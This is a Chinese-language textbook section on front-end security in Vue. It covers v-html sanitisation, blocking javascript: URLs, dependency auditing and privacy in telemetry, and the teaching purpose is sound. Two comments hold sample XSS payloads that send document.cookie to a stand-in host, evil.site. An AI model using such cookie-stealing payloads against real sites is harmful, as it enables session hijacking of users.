11.2 安全性：前端攻击面与防御

11.2 安全性：前端攻击面与防御

本节摘要：前端不是安全的边界（服务端才是），但前端代码是攻击的入口之一。本节沿 XSS 的三条主要入侵路径（v-html、URL 注入、存储型注入）逐条设防，讲清插值默认安全的原因，再覆盖依赖供应链与数据上报两块常被忽略的面。

学习目标

阅读完本节，你应当能够：

1. 解释 Vue 插值为什么默认防 XSS，以及哪两个 API 打破了这层防护；
2. 对 v-html 的使用建立白名单纪律，并对富文本做净化处理；
3. 识别 URL 注入（javascript 伪协议）并设置拦截；
4. 审计项目依赖与上报数据的暴露面。

一、先说好消息：插值默认是转义的

<p>{{ userComment }}</p>
<!-- 即便 userComment 是 <script>fetch('//evil.site?c='+document.cookie)</script> -->
<!-- 插值输出的是转义后的文本，脚本不会执行 -->
​

插值与 v-text 走文本节点路径，浏览器把它当纯文字渲染，恶意标签自然失效。Vue 应用里绝大多数用户内容的展示是安全的——危险只来自显式绕过转义的两个 API：v-html 与动态 href。

二、路径一：v-html 的白名单纪律

<!-- 危险：一旦 content 里被植入脚本或事件属性 直接执行 -->
<div v-html="content"></div>
​

v-html 的合理场景只有一种：渲染自己控制的富文本（如后台配置的公告、编辑器产出的文档）。纪律有三条：

其一，来源白名单。 v-html 的数据只能来自可信源（内部编辑器、经过审核的富文本），永远不接用户评论、昵称、签名这类开放输入。

其二，净化兜底。 即便可信源，也建议过一遍净化库（社区通用的 DOM 净化工具），剥掉脚本、事件属性、危险协议——供应链里后台账号被盗是真实发生过的。

import DOMPurify from 'dompurify';

const safeHtml = computed(() => DOMPurify.sanitize(rawHtml, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'a', 'img'],
  ALLOWED_ATTR: ['href', 'src', 'alt']
}));
​

其三，样式隔离。 富文本容器加作用域样式或沙箱类名，防止注入内容污染全局样式骗用户（假登录框叠页）。

三、路径二：URL 注入

动态绑定的链接若用户可控，javascript 伪协议可以直接执行脚本：

<!-- userLink 若为 javascript:fetch('//evil.site?c='+document.cookie) -->
<a :href="userLink">个人主页</a>
​

防御是协议白名单：

function safeUrl(url) {
  try {
    const u = new URL(url, location.origin);
    return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#';
  } catch {
    return '#';
  }
}
​

动态 :src 同理（图片外链还可以配合加载失败兜底）。iframe 的动态 src 要更严——加沙箱属性限制脚本能力。

XSS 入侵路径与防御对照

四、依赖供应链与权限面

依赖审计。 前端工程的 node_modules 动辄上千个包，历史上知名工具链被投毒、组件库被挂后门的案例都真实发生过。三件事制度化：锁文件进仓库（锁死版本，升级走显式流程）；定期跑审计命令看高危项（各包管理器都有内置子命令）；新依赖进来前看一眼维护状态与下载量——停更两年、周下载个位数的包，再小众好用也要掂量。

构建脚本也是攻击面。 装包即执行的脚本（安装钩子）拥有本机权限，重要工程用包管理器的忽略脚本选项收紧。

敏感信息归位。 接口密钥不该出现在前端代码（打包产物人人可下载可反解），需要鉴权就走后端代理转发；环境变量里的"密钥"只是方便，不是保密——这个认知错误在代码评审里反复出现。

五、数据上报与隐私

埋点与监控是前端标配，也是合规雷区。三条纪律：最小化采集（业务需要什么字段采什么，别整页 DOM 快照式上报）；脱敏（用户输入、手机号、身份证进日志前打码）；第三方脚本受控（统计脚本是潜在的数据出口，域名与发送内容要有清单，配合内容安全策略限制上报目标）。内容安全策略（CSP）作为响应头层面的最后一道闸，限制脚本来源与上报目标，即便展示层被注入，外传通道也大概率是断的。

六、把安全检查并进流程

安全不该是上线前的仪式性问卷。落到日常：代码评审清单里固定三条（v-html 来源、动态 URL 协议、新依赖审计）；CI 里跑依赖审计与锁文件校验；上线检查表里有 CSP 与密钥扫描。前端安全的特点是"单点都不难，漏一个就够"——所以它本质是流程问题而非技术问题。

本节要点回顾

• 默认安全：插值与 v-text 转义输出，危险只来自 v-html 与动态 URL 两个显式出口；
• v-html 三律：来源白名单、净化库过滤、样式隔离，开放输入零容忍；
• URL 白名单：协议校验后再绑定，iframe 与新窗口加沙箱与安全 rel；
• 供应链：锁文件、审计、新依赖准入，构建脚本权限收紧，密钥不进前端；
• 上报合规：最小采集、脱敏、CSP 断外传通道，安全靠流程不靠自觉。

全册到此收官。回到导读的管线图自测一遍：每个规范条目，你都能挂到管线的某一站了吗？